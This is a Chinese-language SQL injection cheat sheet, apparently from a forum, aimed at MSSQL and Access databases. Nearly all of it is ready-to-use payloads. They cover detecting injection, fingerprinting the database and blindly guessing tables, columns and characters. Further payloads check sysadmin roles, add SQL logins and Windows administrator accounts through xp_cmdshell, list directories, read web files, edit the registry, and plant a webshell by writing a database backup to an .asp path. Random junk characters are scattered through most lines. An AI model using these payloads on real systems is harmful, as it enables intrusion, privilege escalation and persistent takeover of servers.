手工脚本注入
" `+ o, s" }- x' H& Y- w1.判断是否有注入;and 1=1 ;and 1=2 + h! L' a/ I& V8 I# `& d' K
( o' v# _7 {% }. Z# D* l2.初步判断是否是mssql ;and user>0 [8 W6 K8 K& c
/ m- `% i/ c1 B5 v2 U
3.注入参数是字符'and [查询条件] and ''=' & t6 Q$ z2 g8 b- e6 G
% Y4 Q& ~1 g# g, V5 _5 V4.搜索时没过滤参数的'and [查询条件] and '%25'=' 3 L( b7 @7 K, m( a( G9 k
% N& j2 B# R, G; N- U1 l5.判断数据库系统 . y$ d% `+ O1 U! _! a1 ?& q1 {( k- O
;and (select count(*) from sysobjects)>0 mssql
& `, @7 n [; g# ^' \;and (select count(*) from msysobjects)>0 access
. m. P- ?! Z' j3 H8 _4 \7 A) N7 v9 F+ o0 Y( q
6.猜数据库 ;and (select Count(*) from [数据库名])>0 4 S+ t# K1 K8 A' Q$ i' ?4 V! T3 m
, D. Z* H4 G$ }" E" ~. ?
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
) F) L. W2 [3 b0 q' E, X" j& h# _7 B7 m) y: r, a
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
1 C$ ? j M* p3 _/ k3 X: p) G2 G
7 r4 M9 [3 f8 P9 i$ j3 D8 v9.(1)猜字段的ascii值(access)
; n; Y8 S1 C$ v$ J( E4 Y- v9 K;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 / Y; P, O% h; t2 |; c& o$ L
( z) U+ c$ m. h! A% A
(2)猜字段的ascii值(mssql) : R% j5 Z: q8 A% a6 t$ H
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
0 W: h' ^* ?$ w; i6 d ~% U# X* ?$ M7 \/ {( v5 b& u( V* `
10.测试权限结构(mssql)
; z5 C3 B( W' I+ r;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 6 ?% `! J, J7 E$ x
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $ p% M) s: g! R& w+ C# E
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
( X& r8 G! Q. y M) `/ T' ]3 B;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ) K/ F% G3 v4 N& ^/ d( C
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
$ W# K2 K: C& `! ?2 z;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 0 e1 E8 z, {5 C- V5 }! Z' [9 A
;and 1=(select IS_MEMBER('db_owner'));-- ! U6 p. p1 O' `4 w, J3 [( t* {
; ~- b1 y& E" D% |11.添加mssql和系统的帐户
6 z$ p B+ B2 I# m3 P: ~8 `; X# A;exec master.dbo.sp_addlogin username;--
! g/ h5 q8 T* B m8 C5 Y3 V- j5 G( \. a% S- {7 d: X9 A& v5 N
;exec master.dbo.sp_password null,username,password;--
. n- a; {( O: N1 J1 m# U# _3 y$ R9 G! T7 B( T6 `. `
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- * c$ m9 v+ t! ~4 D
8 T" y/ R6 P, `: e' R& [! z9 W N
;exec master.dbo.xp_cmdshell 'net user username password
) i. p/ X3 h- F7 w1 g$ Z/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- . V0 j. z7 c! N$ w6 _
0 M, F) v; k8 F% O! j$ y: t' m
;exec master.dbo.xp_cmdshell 'net user username password /add';--
; f% I+ \, ]% X! w1 h5 _8 B4 X" D: a& u% l7 Z
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
' e' a4 e& }& s! h G# D& ?- t Y
( b! w5 x5 q x12.(1)遍历目录
$ r p; o* \( K9 w- `/ K( [0 `* S% f5 q4 {! I
;create table dirs(paths varchar(100), id int)
t) l# ]+ G4 H0 {7 N% j5 x;insert dirs exec master.dbo.xp_dirtree 'c:\'
3 Z$ U8 b% e) K. ^;and (select top 1 paths from dirs)>0 ; f8 C% l( m& ~* i- v
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
% U' r9 o7 J% u9 [1 i* v; d ~: o F. B' p' [
(2)遍历目录
; F P4 M, `1 S/ }" K8 C;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 4 }1 ?6 k* ] G$ w# `. `% D
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
; q. n. A( e2 ?; {;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4 [: g9 W" l: E7 W7 ?4 \$ b
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
8 H% g3 i) N% L8 y2 |; ]0 A. i9 ?;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
" Q6 M& p. N- R. C4 ^8 w4 g9 ~2 e; a) c0 w/ B
13.mssql中的存储过程
& ]9 |: p: v/ G' I; X$ V) _' p
+ `! H1 f) k! }% [8 }xp_regenumvalues 注册表根键, 子键
. B" R# l G2 j) |. L! ^: j;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 . u' i& W/ o8 \0 X$ L* Y
' Z( c S' u; Z& A& F) qxp_regread 根键,子键,键值名
8 q1 g4 {- B+ E" C7 W; |;exec xp_regread ( K$ c Z4 @0 Z' x$ K# j; }. N
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 * [2 I$ b+ E. T, Z: W
$ W! ~4 { {, w) Pxp_regwrite 根键,子键, 值名, 值类型, 值
8 Q5 a! A4 |* @& x6 i值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ! M3 P2 M `6 O5 x! y$ c
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 1 O% L0 f( z2 P6 f2 L
- V4 [7 J3 C7 L
xp_regdeletevalue 根键,子键,值名 2 R1 _6 A3 h- V4 B
6 k& H0 u" i8 \, ~7 @# A8 Y! ^4 A
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ) v! D* }$ u+ i: D
" v7 P ?, Y" k2 g8 Bxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
6 e$ S- G. w" b' U% g' q l. b; j
3 K5 ?* u/ Z: ]& g0 T14.mssql的backup创建webshell
5 a7 q+ R% @1 buse model 4 u" q8 q! H7 o- U2 q4 B6 [ w
create table cmd(str image);
- D* N! Q, ?" \. r. Y& i q; hinsert into cmd(str) values ('');
, z/ O, I' m8 S8 ibackup database model to disk='c:\l.asp';
0 {) d( o" m1 C, j9 d5 r+ U4 Y& N- ]3 {" h) ~4 s
15.mssql内置函数
& P( L# O, F0 Y% p" J4 \;and (select @@version)>0 获得Windows的版本号 $ ]2 z6 j0 n! L& f+ B$ G, v
;and user_name()='dbo' 判断当前系统的连接用户是不是sa : I+ Y" \: }. q- O; l$ [, T
;and (select user_name())>0 爆当前系统的连接用户
5 M/ I9 _' s3 r) w;and (select db_name())>0 得到当前连接的数据库
- `, {8 F- o8 t* H8 j% f& c- v, J( w, T
16.简洁的webshell
# ], N6 y! U, t* N+ v( n$ u+ R0 G5 \% Y: K' |6 a
use model ( U2 z) ^+ U o3 n( f# }! l! ~
0 n6 F. |: x9 G! A5 ^# h! L: j! mcreate table cmd(str image);
' w) S6 O5 I( _) k3 ^" `5 \4 \
4 h) r. H# X" O9 \insert into cmd(str) values (''); : H/ B1 f1 t9 w5 G# o. N
- R: z' z I5 q. n
backup database model to disk='g:\wwwtest\l.asp'; : v1 }1 ?" p$ F2 [ r) Z) |, p
) p+ _! ~/ }6 B# a, Q
|